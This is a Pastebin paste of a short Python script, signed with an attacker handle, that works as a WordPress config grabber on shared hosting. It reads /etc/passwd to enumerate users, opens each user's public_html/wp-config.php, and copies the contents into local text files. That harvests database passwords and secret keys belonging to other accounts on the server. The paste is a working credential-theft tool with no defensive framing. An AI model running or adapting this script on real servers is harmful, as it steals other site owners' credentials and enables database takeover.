Advertisement
Guest User

oh

a guest
Aug 21st, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.36 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. # ./Xi4u7 - Jancok
  3.  
  4. import os
  5.  
  6. pas = open("/etc/passwd").read()
  7. for i in pas.split(":"):
  8. wp = "/home/"+i+"/public_html/wp-config.php"
  9. try:
  10. f = open(wp).read()
  11. ab = open(i+"-Wordpress.txt", "a")
  12. ab.write(f)
  13. ab.close()
  14. except:
  15. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement